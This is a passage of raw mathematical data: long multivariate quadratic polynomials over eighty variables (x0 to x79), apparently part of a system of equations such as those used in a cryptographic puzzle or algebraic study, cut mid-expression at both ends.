x29*x30 + x29*x31 + x29*x32 + x29*x36 + x29*x37 + x29*x38 + x29*x41 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x52 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x71 + x29*x72 + x29*x73 + x29*x75 + x29*x76 + x29*x79 + x30*x32 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x45 + x30*x46 + x30*x47 + x30*x50 + x30*x51 + x30*x57 + x30*x61 + x30*x62 + x30*x63 + x30*x66 + x30*x71 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x35 + x31*x37 + x31*x38 + x31*x41 + x31*x42 + x31*x45 + x31*x49 + x31*x50 + x31*x51 + x31*x54 + x31*x55 + x31*x56 + x31*x58 + x31*x61 + x31*x62 + x31*x63 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x73 + x31*x74 + x31*x75 + x31*x79 + x31 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x46 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x52 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x60 + x32*x62 + x32*x63 + x32*x64 + x32*x66 + x32*x67 + x32*x68 + x32*x71 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x35 + x33*x41 + x33*x45 + x33*x46 + x33*x47 + x33*x52 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x64 + x33*x69 + x33*x70 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x78 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x40 + x34*x41 + x34*x42 + x34*x44 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x58 + x34*x59 + x34*x61 + x34*x63 + x34*x65 + x34*x70 + x34*x71 + x34*x73 + x34*x74 + x34*x79 + x35*x36 + x35*x39 + x35*x40 + x35*x41 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x55 + x35*x57 + x35*x59 + x35*x60 + x35*x63 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x72 + x35*x73 + x35*x75 + x35*x77 + x35 + x36*x37 + x36*x40 + x36*x41 + x36*x44 + x36*x45 + x36*x47 + x36*x48 + x36*x49 + x36*x55 + x36*x56 + x36*x57 + x36*x61 + x36*x62 + x36*x63 + x36*x68 + x36*x70 + x36*x71 + x36*x73 + x36*x79 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x52 + x37*x55 + x37*x60 + x37*x61 + x37*x63 + x37*x65 + x37*x66 + x37*x70 + x37*x72 + x37*x75 + x37*x77 + x37*x78 + x38*x39 + x38*x41 + x38*x42 + x38*x43 + x38*x45 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x57 + x38*x58 + x38*x63 + x38*x67 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x44 + x39*x45 + x39*x50 + x39*x54 + x39*x56 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x55 + x40*x59 + x40*x60 + x40*x61 + x40*x65 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x74 + x40*x77 + x40*x79 + x41*x44 + x41*x45 + x41*x47 + x41*x50 + x41*x52 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x58 + x41*x60 + x41*x63 + x41*x66 + x41*x67 + x41*x68 + x41*x70 + x41*x71 + x41*x72 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x46 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x57 + x42*x58 + x42*x62 + x42*x63 + x42*x68 + x42*x72 + x42*x73 + x42*x74 + x42*x76 + x42*x79 + x43*x44 + x43*x45 + x43*x46 + x43*x49 + x43*x52 + x43*x56 + x43*x57 + x43*x59 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x71 + x43*x72 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x51 + x44*x52 + x44*x53 + x44*x55 + x44*x58 + x44*x59 + x44*x61 + x44*x63 + x44*x67 + x44*x70 + x44*x72 + x44*x75 + x44*x76 + x44*x78 + x44 + x45*x47 + x45*x50 + x45*x53 + x45*x54 + x45*x56 + x45*x58 + x45*x60 + x45*x63 + x45*x64 + x45*x67 + x45*x69 + x45*x70 + x45*x72 + x45*x73 + x45*x74 + x45*x76 + x45*x77 + x46*x47 + x46*x49 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x59 + x46*x63 + x46*x64 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x73 + x46*x76 + x46*x78 + x46*x79 + x46 + x47*x50 + x47*x51 + x47*x52 + x47*x56 + x47*x62 + x47*x63 + x47*x65 + x47*x66 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x79 + x48*x51 + x48*x52 + x48*x53 + x48*x59 + x48*x62 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x70 + x48*x71 + x48*x73 + x48*x74 + x48*x77 + x48*x79 + x48 + x49*x51 + x49*x53 + x49*x55 + x49*x60 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x74 + x49*x76 + x49 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x62 + x50*x65 + x50*x66 + x50*x72 + x50*x74 + x50*x75 + x50*x76 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x56 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x66 + x51*x68 + x51*x71 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x58 + x52*x61 + x52*x66 + x52*x67 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52 + x53*x54 + x53*x56 + x53*x57 + x53*x59 + x53*x62 + x53*x64 + x53*x65 + x53*x69 + x53*x70 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x78 + x53 + x54*x55 + x54*x56 + x54*x58 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x75 + x54*x77 + x54*x78 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x61 + x55*x62 + x55*x65 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x72 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x55*x79 + x56*x58 + x56*x59 + x56*x62 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x74 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x67 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x79 + x57 + x58*x60 + x58*x61 + x58*x64 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x76 + x58 + x59*x63 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x69 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x61 + x60*x64 + x60*x65 + x60*x66 + x60*x70 + x60*x71 + x60*x72 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x63 + x61*x65 + x61*x69 + x61*x71 + x61*x72 + x61*x75 + x61*x78 + x62*x65 + x62*x67 + x62*x68 + x62*x69 + x62*x70 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x76 + x63*x78 + x63*x79 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x75 + x64*x76 + x64*x77 + x65*x67 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x79 + x66*x67 + x66*x70 + x66*x73 + x66*x74 + x66*x76 + x66 + x67*x68 + x67*x72 + x67*x73 + x67*x75 + x67*x78 + x67*x79 + x68*x70 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x69*x70 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69 + x70*x71 + x70*x74 + x70*x78 + x70 + x71*x72 + x71*x74 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73 + x74*x75 + x74*x79 + x75*x76 + x75 + x76*x77 + x76*x78 + x76*x79 + x77*x79 + x79, x0*x1 + x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x10 + x0*x12 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x20 + x0*x21 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x28 + x0*x30 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x39 + x0*x40 + x0*x42 + x0*x47 + x0*x48 + x0*x52 + x0*x55 + x0*x57 + x0*x58 + x0*x59 + x0*x67 + x0*x69 + x0*x72 + x0*x74 + x0*x75 + x0*x79 + x1*x2 + x1*x3 + x1*x4 + x1*x8 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x29 + x1*x33 + x1*x39 + x1*x42 + x1*x45 + x1*x48 + x1*x49 + x1*x50 + x1*x51 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x68 + x1*x71 + x1*x72 + x1*x73 + x1*x75 + x1*x76 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x17 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x30 + x2*x32 + x2*x33 + x2*x37 + x2*x38 + x2*x40 + x2*x43 + x2*x46 + x2*x49 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x59 + x2*x60 + x2*x61 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x68 + x2*x69 + x2*x72 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x5 + x3*x7 + x3*x15 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x43 + x3*x44 + x3*x45 + x3*x47 + x3*x50 + x3*x52 + x3*x54 + x3*x56 + x3*x59 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x74 + x3*x76 + x3*x79 + x4*x5 + x4*x9 + x4*x11 + x4*x13 + x4*x14 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x27 + x4*x29 + x4*x30 + x4*x34 + x4*x35 + x4*x37 + x4*x38 + x4*x44 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x53 + x4*x54 + x4*x56 + x4*x63 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x77 + x5*x6 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x17 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x47 + x5*x50 + x5*x54 + x5*x55 + x5*x57 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x10 + x6*x12 + x6*x13 + x6*x16 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x31 + x6*x37 + x6*x39 + x6*x42 + x6*x47 + x6*x48 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x60 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x69 + x6*x72 + x6*x76 + x6*x77 + x7*x9 + x7*x10 + x7*x11 + x7*x12 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x21 + x7*x22 + x7*x23 + x7*x26 + x7*x28 + x7*x30 + x7*x32 + x7*x33 + x7*x35 + x7*x38 + x7*x41 + x7*x42 + x7*x44 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x52 + x7*x56 + x7*x59 + x7*x65 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x79 + x8*x10 + x8*x11 + x8*x12 + x8*x13 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x25 + x8*x26 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x36 + x8*x37 + x8*x38 + x8*x40 + x8*x43 + x8*x44 + x8*x46 + x8*x47 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x58 + x8*x59 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x67 + x8*x68 + x8*x71 + x8*x75 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x11 + x9*x12 + x9*x15 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x30 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x43 + x9*x46 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x52 + x9*x56 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x64 + x9*x65 + x9*x66 + x9*x69 + x9*x71 + x9*x73 + x9*x76 + x9*x77 + x9 + x10*x12 + x10*x13 + x10*x15 + x10*x17 + x10*x20 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x32 + x10*x33 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x43 + x10*x45 + x10*x48 + x10*x51 + x10*x52 + x10*x54 + x10*x55 + x10*x56 + x10*x58 + x10*x59 + x10*x63 + x10*x67 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x78 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x22 + x11*x23 + x11*x26 + x11*x27 + x11*x28 + x11*x33 + x11*x34 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x45 + x11*x47 + x11*x48 + x11*x51 + x11*x52 + x11*x53 + x11*x56 + x11*x57 + x11*x58 + x11*x59 + x11*x60 + x11*x63 + x11*x65 + x11*x68 + x11*x77 + x11*x79 + x12*x18 + x12*x20 + x12*x21 + x12*x24 + x12*x26 + x12*x28 + x12*x31 + x12*x33 + x12*x42 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x52 + x12*x55 + x12*x57 + x12*x59 + x12*x60 + x12*x65 + x12*x66 + x12*x67 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x76 + x12*x77 + x12*x79 + x13*x18 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x32 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x64 + x13*x67 + x13*x68 + x13*x69 + x13*x71 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x20 + x14*x23 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x33 + x14*x35 + x14*x41 + x14*x42 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x54 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x63 + x14*x72 + x14*x74 + x14*x75 + x14*x76 + x14*x79 + x15*x16 + x15*x18 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x32 + x15*x34 + x15*x39 + x15*x44 + x15*x45 + x15*x48 + x15*x51 + x15*x53 + x15*x56 + x15*x59 + x15*x61 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x73 + x15*x77 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x27 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x50 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x57 + x16*x58 + x16*x61 + x16*x63 + x16*x64 + x16*x68 + x16*x70 + x16*x71 + x16*x73 + x16*x74 + x16*x76 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x23 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x31 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x39 + x17*x43 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x59 + x17*x61 + x17*x62 + x17*x65 + x17*x67 + x17*x71 + x17*x74 + x17*x77 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x29 + x18*x30 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x46 + x18*x47 + x18*x49 + x18*x51 + x18*x53 + x18*x54 + x18*x55 + x18*x60 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x72 + x18*x76 + x19*x21 + x19*x22 + x19*x24 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x46 + x19*x48 + x19*x51 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x59 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x39 + x20*x41 + x20*x43 + x20*x46 + x20*x51 + x20*x52 + x20*x53 + x20*x54 + x20*x56 + x20*x58 + x20*x61 + x20*x65 + x20*x67 + x20*x68 + x20*x70 + x20*x72 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x26 + x21*x27 + x21*x28 + x21*x32 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x42 + x21*x43 + x21*x44 + x21*x50 + x21*x52 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x66 + x21*x68 + x21*x72 + x21*x73 + x21*x76 + x21*x77 + x21*x79 + x22*x25 + x22*x28 + x22*x29 + x22*x32 + x22*x34 + x22*x37 + x22*x40 + x22*x43 + x22*x44 + x22*x47 + x22*x48 + x22*x53 + x22*x54 + x22*x61 + x22*x63 + x22*x64 + x22*x67 + x22*x68 + x22*x71 + x22*x72 + x22*x73 + x22*x74 + x22*x75 + x22*x78 + x23*x24 + x23*x25 + x23*x28 + x23*x31 + x23*x32 + x23*x38 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x53 + x23*x55 + x23*x56 + x23*x58 + x23*x61 + x23*x64 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x75 + x23*x76 + x23*x78 + x23*x79 + x24*x26 + x24*x28 + x24*x29 + x24*x33 + x24*x36 + x24*x37 + x24*x38 + x24*x40 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x52 + x24*x53 + x24*x56 + x24*x59 + x24*x61 + x24*x62 + x24*x64 + x24*x66 + x24*x67 + x24*x70 + x24*x73 + x24*x76 + x24 + x25*x27 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x40 + x25*x42 + x25*x44 + x25*x46 + x25*x47 + x25*x48 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x56 + x25*x58 + x25*x59 + x25*x62 + x25*x63 + x25*x64 + x25*x67 + x25*x68 + x25*x71 + x25*x74 + x25*x75 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x31 + x26*x32 + x26*x33 + x26*x36 + x26*x37 + x26*x39 + x26*x43 + x26*x44 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x61 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x72 + x26*x76 + x26*x78 + x26 + x27*x28 + x27*x30 + x27*x32 + x27*x33 + x27*x35 + x27*x36 + x27*x37 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x47 + x27*x48 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x74 + x27*x77 + x27*x78 + x28*x29 + x28*x34 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x46 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x68 + x28*x73 + x28*x75 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x33 + x29*x40 + x29*x44 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x58 + x29*x59 + x29*x64 + x29*x69 + x29*x70 + x29*x73 + x29*x77 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x42 + x30*x43 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x55 + x30*x56 + x30*x58 + x30*x59 + x30*x61 + x30*x62 + x30*x68 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x33 + x31*x36 + x31*x38 + x31*x39 + x31*x42 + x31*x43 + x31*x48 + x31*x52 + x31*x53 + x31*x55 + x31*x58 + x31*x60 + x31*x63 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x75 + x31*x78 + x31*x79 + x31 + x32*x36 + x32*x37 + x32*x39 + x32*x42 + x32*x43 + x32*x45 + x32*x46 + x32*x48 + x32*x49 + x32*x53 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x67 + x32*x68 + x32*x70 + x32*x71 + x32*x75 + x33*x35 + x33*x37 + x33*x39 + x33*x41 + x33*x45 + x33*x50 + x33*x51 + x33*x52 + x33*x54 + x33*x59 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x68 + x33*x72 + x33*x73 + x33*x75 + x33*x76 + x33*x77 + x34*x35 + x34*x36 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x47 + x34*x48 + x34*x51 + x34*x53 + x34*x54 + x34*x55 + x34*x57 + x34*x58 + x34*x67 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x75 + x34*x78 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x41 + x35*x44 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x63 + x35*x64 + x35*x65 + x35*x68 + x35*x69 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x44 + x36*x47 + x36*x49 + x36*x51 + x36*x52 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x61 + x36*x65 + x36*x66 + x36*x70 + x36*x71 + x36*x74 + x36*x75 + x36*x77 + x37*x38 + x37*x40 + x37*x41 + x37*x44 + x37*x45 + x37*x46 + x37*x53 + x37*x55 + x37*x56 + x37*x64 + x37*x68 + x37*x70 + x37*x72 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x49 + x38*x50 + x38*x51 + x38*x56 + x38*x57 + x38*x61 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x69 + x38*x72 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38 + x39*x40 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x51 + x39*x55 + x39*x61 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x40*x42 + x40*x46 + x40*x50 + x40*x54 + x40*x55 + x40*x56 + x40*x59 + x40*x60 + x40*x61 + x40*x63 + x40*x67 + x40*x69 + x40*x70 + x40*x73 + x40*x75 + x40*x79 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x56 + x41*x57 + x41*x60 + x41*x61 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x71 + x41*x72 + x41*x74 + x41*x79 + x41 + x42*x43 + x42*x45 + x42*x46 + x42*x47 + x42*x50 + x42*x53 + x42*x55 + x42*x56 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x65 + x42*x67 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x43*x44 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x53 + x43*x55 + x43*x58 + x43*x63 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x73 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x51 + x44*x53 + x44*x55 + x44*x57 + x44*x60 + x44*x61 + x44*x64 + x44*x66 + x44*x70 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x48 + x45*x51 + x45*x55 + x45*x56 + x45*x57 + x45*x59 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x70 + x45*x71 + x45*x75 + x45*x76 + x45*x77 + x45 + x46*x47 + x46*x49 + x46*x51 + x46*x52 + x46*x58 + x46*x59 + x46*x62 + x46*x64 + x46*x66 + x46*x69 + x46*x74 + x46*x77 + x46*x78 + x47*x48 + x47*x50 + x47*x51 + x47*x54 + x47*x60 + x47*x62 + x47*x65 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x79 + x47 + x48*x54 + x48*x59 + x48*x61 + x48*x62 + x48*x65 + x48*x68 + x48*x70 + x48*x74 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x52 + x49*x56 + x49*x57 + x49*x58 + x49*x60 + x49*x61 + x49*x62 + x49*x63 + x49*x65 + x49*x66 + x49*x69 + x49*x70 + x49*x74 + x49*x75 + x49*x77 + x49*x79 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x61 + x50*x62 + x50*x64 + x50*x65 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x66 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x61 + x52*x63 + x52*x65 + x52*x67 + x52*x70 + x52*x71 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x61 + x53*x62 + x53*x64 + x53*x67 + x53*x70 + x53*x72 + x53*x74 + x53*x75 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x61 + x54*x62 + x54*x65 + x54*x66 + x54*x67 + x54*x73 + x54*x75 + x54*x77 + x54 + x55*x56 + x55*x57 + x55*x59 + x55*x60 + x55*x62 + x55*x64 + x55*x65 + x55*x67 + x55*x68 + x55*x70 + x55*x71 + x55*x73 + x55*x76 + x55*x77 + x55*x78 + x55 + x56*x57 + x56*x58 + x56*x60 + x56*x64 + 